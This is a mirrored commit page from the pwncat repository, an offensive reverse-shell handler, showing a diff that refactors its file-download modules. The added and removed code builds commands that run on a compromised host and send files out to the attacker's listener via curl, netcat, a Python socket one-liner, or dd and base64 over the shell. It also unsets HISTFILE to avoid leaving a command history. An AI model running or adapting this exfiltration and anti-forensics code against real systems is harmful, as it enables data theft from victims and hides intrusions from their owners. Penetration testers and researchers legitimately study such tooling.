mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Working downloaders for netcat and shell.
This commit is contained in:
parent
5801895cba
commit
dfb5b26157
@ -1,4 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type
|
||||
|
||||
from pwncat.downloader.base import Downloader, DownloadError
|
||||
from pwncat.downloader.nc import NetcatDownloader
|
||||
@ -10,7 +11,7 @@ downloaders = [NetcatDownloader, CurlDownloader]
|
||||
fallback = ShellDownloader
|
||||
|
||||
|
||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
|
||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]:
|
||||
""" Locate an applicable downloader """
|
||||
|
||||
if hint is not None:
|
||||
@ -20,12 +21,18 @@ def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
|
||||
continue
|
||||
d.check(pty)
|
||||
return d
|
||||
else:
|
||||
raise DownloadError(f"{hint}: no such downloader")
|
||||
|
||||
for d in downloaders:
|
||||
try:
|
||||
d.check(pty)
|
||||
return d
|
||||
except DownloadError:
|
||||
except DownloadError as e:
|
||||
continue
|
||||
|
||||
raise DownloadError("no acceptable downloaders found")
|
||||
try:
|
||||
fallback.check(pty)
|
||||
return fallback
|
||||
except:
|
||||
raise DownloadError("no acceptable downloaders found")
|
||||
|
@ -4,6 +4,7 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from socketserver import TCPServer, BaseRequestHandler
|
||||
from functools import partial
|
||||
import threading
|
||||
import socket
|
||||
|
||||
from pwncat import util
|
||||
|
||||
@ -46,8 +47,11 @@ class Downloader:
|
||||
|
||||
|
||||
class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
||||
def __init__(self, request, addr, server, downloader: "HTTPDownloader"):
|
||||
def __init__(
|
||||
self, request, addr, server, downloader: "HTTPDownloader", on_progress: Callable
|
||||
):
|
||||
self.downloader = downloader
|
||||
self.on_progress = on_progress
|
||||
super(HttpPostFileReceiver, self).__init__(request, addr, server)
|
||||
|
||||
def do_POST(self):
|
||||
@ -61,7 +65,7 @@ class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
||||
self.end_headers()
|
||||
|
||||
with open(self.downloader.local_path, "wb") as filp:
|
||||
util.copyfileobj(self.rfile, filp, self.downloader.progress)
|
||||
util.copyfileobj(self.rfile, filp, self.on_progress)
|
||||
|
||||
def log_message(self, *args, **kwargs):
|
||||
return
|
||||
@ -79,19 +83,15 @@ class HTTPDownloader(Downloader):
|
||||
raise DownloadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
pty: "pwncat.pty.PtyHandler",
|
||||
remote_path: str,
|
||||
local_path: str,
|
||||
on_progress: Callable = None,
|
||||
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||
):
|
||||
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
self.on_progress = on_progress
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
self.server = HTTPServer(
|
||||
("0.0.0.0", 0), partial(HttpPostFileReceiver, downloader=self)
|
||||
("0.0.0.0", 0),
|
||||
partial(HttpPostFileReceiver, downloader=self, on_progress=on_progress),
|
||||
)
|
||||
|
||||
thread = threading.Thread(
|
||||
@ -116,27 +116,33 @@ class RawDownloader(Downloader):
|
||||
raise DownloadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
pty: "pwncat.pty.PtyHandler",
|
||||
remote_path: str,
|
||||
local_path: str,
|
||||
on_progress: Callable = None,
|
||||
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||
):
|
||||
super(RawDownloader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
self.on_progress = on_progress
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
|
||||
# Make sure it is accessible to the subclass
|
||||
local_path = self.local_path
|
||||
|
||||
class SocketWrapper:
|
||||
def __init__(self, sock):
|
||||
self.s = sock
|
||||
|
||||
def read(self, n: int):
|
||||
try:
|
||||
return self.s.recv(n)
|
||||
except socket.timeout:
|
||||
return b""
|
||||
|
||||
# Class to handle incoming connections
|
||||
class ReceiveFile(BaseRequestHandler):
|
||||
def handle(self):
|
||||
self.request.settimeout(1)
|
||||
with open(local_path, "wb") as fp:
|
||||
util.copyfileobj(self.request.makefile("rb"), fp, on_progress)
|
||||
util.copyfileobj(SocketWrapper(self.request), fp, on_progress)
|
||||
self.request.close()
|
||||
|
||||
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||
|
||||
|
@ -7,14 +7,15 @@ from pwncat.downloader.base import HTTPDownloader, DownloadError
|
||||
|
||||
class CurlDownloader(HTTPDownloader):
|
||||
|
||||
NAME = "curl"
|
||||
BINARIES = ["curl"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[2]
|
||||
lport = self.server.server_address[1]
|
||||
curl = self.pty.which("curl")
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
yield f"{curl} --output {remote_path} http://{lhost}:{lport}"
|
||||
self.pty.run(f"{curl} --output {remote_path} http://{lhost}:{lport}")
|
||||
|
@ -7,14 +7,15 @@ from pwncat.downloader.base import RawDownloader, DownloadError
|
||||
|
||||
class NetcatDownloader(RawDownloader):
|
||||
|
||||
NAME = "nc"
|
||||
BINARIES = ["nc"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Return the commands needed to trigger this download """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[2]
|
||||
lport = self.server.server_address[1]
|
||||
nc = self.pty.which("nc")
|
||||
remote_file = shlex.quote(self.remote_path)
|
||||
|
||||
yield f"{nc} {lhost} {lport} < {remote_file}"
|
||||
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")
|
||||
|
@ -23,8 +23,10 @@ class ShellDownloader(Downloader):
|
||||
while True:
|
||||
|
||||
# Read the data
|
||||
x = yield "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
|
||||
remote_path, self.BLOCKSZ, blocknr
|
||||
x = self.pty.run(
|
||||
"dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
|
||||
remote_path, self.BLOCKSZ, blocknr
|
||||
)
|
||||
)
|
||||
if x == b"" or x == b"\r\n":
|
||||
break
|
||||
@ -34,7 +36,7 @@ class ShellDownloader(Downloader):
|
||||
|
||||
# Send the data and call the progress function
|
||||
filp.write(data)
|
||||
copied += data
|
||||
copied += len(data)
|
||||
self.on_progress(copied, len(data))
|
||||
|
||||
# Increment block number
|
||||
|
175
pwncat/pty.py
175
pwncat/pty.py
@ -13,6 +13,7 @@ import sys
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
from pwncat import downloader
|
||||
|
||||
|
||||
class State(enum.Enum):
|
||||
@ -33,20 +34,20 @@ class PtyHandler:
|
||||
}
|
||||
|
||||
INTERESTING_BINARIES = [
|
||||
("python", "python", 9999),
|
||||
("python2", "python", 9998),
|
||||
("python3", "python", 10000),
|
||||
("perl", "perl", 0),
|
||||
("bash", "sh", 10000),
|
||||
("dash", "sh", 9999),
|
||||
("zsh", "sh", 9999),
|
||||
("sh", "sh", 0),
|
||||
("curl", "curl", 0),
|
||||
("wget", "wget", 0),
|
||||
("nc", "nc", 0),
|
||||
("netcat", "nc", 0),
|
||||
("ncat", "nc", 0),
|
||||
("script", "script", 0),
|
||||
"python",
|
||||
"python2",
|
||||
"python3",
|
||||
"perl",
|
||||
"bash",
|
||||
"dash",
|
||||
"zsh",
|
||||
"sh",
|
||||
"curl",
|
||||
"wget",
|
||||
"nc",
|
||||
"netcat",
|
||||
"ncat",
|
||||
"script",
|
||||
]
|
||||
|
||||
def __init__(self, client: socket.SocketType):
|
||||
@ -62,6 +63,18 @@ class PtyHandler:
|
||||
self.known_binaries = {}
|
||||
self.vars = {"lhost": None}
|
||||
self.prompt = PromptSession("localhost$ ")
|
||||
self.binary_aliases = {
|
||||
"python": [
|
||||
"python2",
|
||||
"python3",
|
||||
"python2.7",
|
||||
"python3.6",
|
||||
"python3.8",
|
||||
"python3.9",
|
||||
],
|
||||
"sh": ["bash", "zsh", "dash"],
|
||||
"nc": ["netcat", "ncat"],
|
||||
}
|
||||
|
||||
# We should always get a response within 3 seconds...
|
||||
self.client.settimeout(3)
|
||||
@ -77,26 +90,24 @@ class PtyHandler:
|
||||
self.recvuntil(b"\n")
|
||||
|
||||
# Locate interesting binaries
|
||||
for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
|
||||
# The auto-resolving doesn't work correctly until we have a pty
|
||||
# so, we manually resolve a list of useful binaries prior to spawning
|
||||
# a pty
|
||||
for name in PtyHandler.INTERESTING_BINARIES:
|
||||
util.info(f"resolving remote binary: {name}", overlay=True)
|
||||
|
||||
# We already found a preferred option
|
||||
if (
|
||||
friendly in self.known_binaries
|
||||
and self.known_binaries[friendly][1] > priority
|
||||
):
|
||||
continue
|
||||
|
||||
# Look for the given binary
|
||||
response = self.run(f"which {shlex.quote(name)}", has_pty=False)
|
||||
if response == b"":
|
||||
continue
|
||||
|
||||
self.known_binaries[friendly] = (response.decode("utf-8"), priority)
|
||||
self.known_binaries[name] = response.decode("utf-8")
|
||||
|
||||
# Now, we can resolve using `which` w/ request=False for the different
|
||||
# methods
|
||||
for m, cmd in PtyHandler.OPEN_METHODS.items():
|
||||
if m in self.known_binaries:
|
||||
method_cmd = cmd.format(self.known_binaries[m][0])
|
||||
if self.which(m, request=False) is not None:
|
||||
method_cmd = cmd.format(self.which(m, request=False))
|
||||
method = m
|
||||
break
|
||||
else:
|
||||
@ -107,7 +118,8 @@ class PtyHandler:
|
||||
util.info(f"opening pseudoterminal via {method}", overlay=True)
|
||||
client.sendall(method_cmd.encode("utf-8") + b"\n")
|
||||
|
||||
# Make sure HISTFILE is unset in this PTY
|
||||
# Make sure HISTFILE is unset in this PTY (it resets when a pty is
|
||||
# opened)
|
||||
self.run("unset HISTFILE")
|
||||
|
||||
# Synchronize the terminals
|
||||
@ -117,6 +129,32 @@ class PtyHandler:
|
||||
# Force the local TTY to enter raw mode
|
||||
self.enter_raw()
|
||||
|
||||
def which(self, name: str, request=True) -> str:
|
||||
""" Call which on the remote host and return the path. The results are
|
||||
cached to decrease the number of remote calls. """
|
||||
path = None
|
||||
|
||||
if name in self.known_binaries and self.known_binaries[name] is not None:
|
||||
# Cached value available
|
||||
path = self.known_binaries[name]
|
||||
elif name not in self.known_binaries and request:
|
||||
# It hasn't been looked up before, request it.
|
||||
path = self.run(f"which {shlex.quote(name)}").decode("utf-8")
|
||||
if path == "":
|
||||
path = None
|
||||
|
||||
if name in self.binary_aliases and path is None:
|
||||
# Look for aliases of this command as a last resort
|
||||
for alias in self.binary_aliases[name]:
|
||||
path = self.which(alias)
|
||||
if path is not None:
|
||||
break
|
||||
|
||||
# Cache the value
|
||||
self.known_binaries[name] = path
|
||||
|
||||
return path
|
||||
|
||||
def process_input(self, data: bytes):
|
||||
r""" Process a new byte of input from stdin. This is to catch "\r~C" and open
|
||||
a local prompt """
|
||||
@ -205,28 +243,10 @@ class PtyHandler:
|
||||
|
||||
def do_download(self, argv):
|
||||
|
||||
uploaders = {
|
||||
"curl": (
|
||||
"http",
|
||||
"{cmd} -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
|
||||
),
|
||||
"XXXX": (
|
||||
"http",
|
||||
"{cmd} --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
|
||||
),
|
||||
"nc": ("raw", "nc {lhost} {lport} < {remote_file}"),
|
||||
"python": (
|
||||
"raw",
|
||||
"""{cmd} -c 'from socket import AF_INET, socket, SOCK_STREAM; import shutil; s=socket(AF_INET, SOCK_STREAM); s.connect(("{lhost}", {lport})); fp = open("{remote_file}", "rb"); shutil.copyfileobj(fp, s.makefile("wb", buffering=0))'""",
|
||||
),
|
||||
}
|
||||
servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
|
||||
|
||||
parser = argparse.ArgumentParser(prog="download")
|
||||
parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=uploaders.keys(),
|
||||
default=None,
|
||||
help="set the download method (default: auto)",
|
||||
)
|
||||
@ -244,32 +264,20 @@ class PtyHandler:
|
||||
# The arguments were parsed incorrectly, return.
|
||||
return
|
||||
|
||||
if self.vars.get("lhost", None) is None:
|
||||
util.error("[!] you must provide an lhost address for reverse connections!")
|
||||
try:
|
||||
# Locate an appropriate downloader class
|
||||
DownloaderClass = downloader.find(self, args.method)
|
||||
except downloader.DownloadError as exc:
|
||||
util.error(f"{exc}")
|
||||
return
|
||||
|
||||
if args.method is not None and args.method not in self.known_binaries:
|
||||
util.error(f"{args.method}: method unavailable")
|
||||
elif args.method is not None:
|
||||
method = uploaders[args.method]
|
||||
else:
|
||||
method = None
|
||||
for m, info in uploaders.items():
|
||||
if m in self.known_binaries:
|
||||
util.info(f"downloading via {m}")
|
||||
method = info
|
||||
args.method = m
|
||||
break
|
||||
else:
|
||||
util.warn(
|
||||
"no available download methods. falling back to dd/base64 method"
|
||||
)
|
||||
|
||||
# Grab the arguments
|
||||
path = args.path
|
||||
basename = os.path.basename(args.path)
|
||||
name = basename
|
||||
outfile = args.output.format(basename=basename)
|
||||
|
||||
download = DownloaderClass(self, remote_path=path, local_path=outfile)
|
||||
|
||||
# Get the remote file size
|
||||
size = self.run(f'stat -c "%s" {shlex.quote(path)} 2>/dev/null || echo "none"')
|
||||
if b"none" in size:
|
||||
@ -277,7 +285,7 @@ class PtyHandler:
|
||||
return
|
||||
size = int(size)
|
||||
|
||||
with ProgressBar("downloading") as pb:
|
||||
with ProgressBar(f"downloading with {download.NAME}") as pb:
|
||||
|
||||
counter = pb(range(os.path.getsize(path)))
|
||||
last_update = time.time()
|
||||
@ -291,32 +299,9 @@ class PtyHandler:
|
||||
if (time.time() - last_update) > 0.1:
|
||||
pb.invalidate()
|
||||
|
||||
if method is not None:
|
||||
server = servers[method[0]](outfile, name, progress=on_progress)
|
||||
download.serve(on_progress)
|
||||
|
||||
command = method[1].format(
|
||||
cmd=self.known_binaries[args.method][0],
|
||||
remote_file=shlex.quote(path),
|
||||
lhost=self.vars["lhost"],
|
||||
lfile=name,
|
||||
lport=server.server_address[1],
|
||||
)
|
||||
result = self.run(command, wait=False)
|
||||
else:
|
||||
server = None
|
||||
path = shlex.quote(path)
|
||||
with open(outfile, "wb") as fp:
|
||||
copied = 0
|
||||
blocksz = 1024 * 10
|
||||
for chunk_nr in range(0, size // blocksz):
|
||||
# Send the command
|
||||
encoded = self.run(
|
||||
f"dd if={path} bs={blocksz} count=1 skip={chunk_nr} 2>/dev/null | base64 -w0",
|
||||
)
|
||||
chunk = base64.b64decode(encoded)
|
||||
fp.write(chunk)
|
||||
copied += len(chunk)
|
||||
on_progress(copied, len(chunk))
|
||||
download.command()
|
||||
|
||||
try:
|
||||
while not counter.done:
|
||||
@ -324,8 +309,7 @@ class PtyHandler:
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
finally:
|
||||
if server is not None:
|
||||
server.shutdown()
|
||||
download.shutdown()
|
||||
|
||||
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
|
||||
time.sleep(0.1)
|
||||
@ -460,7 +444,12 @@ class PtyHandler:
|
||||
parser = argparse.ArgumentParser(prog="set")
|
||||
parser.add_argument("variable", help="the variable name")
|
||||
parser.add_argument("value", help="the new variable type")
|
||||
args = parser.parse_args(argv)
|
||||
|
||||
try:
|
||||
args = parser.parse_args(argv)
|
||||
except SystemExit:
|
||||
# The arguments were parsed incorrectly, return.
|
||||
return
|
||||
|
||||
self.vars[args.variable] = args.value
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user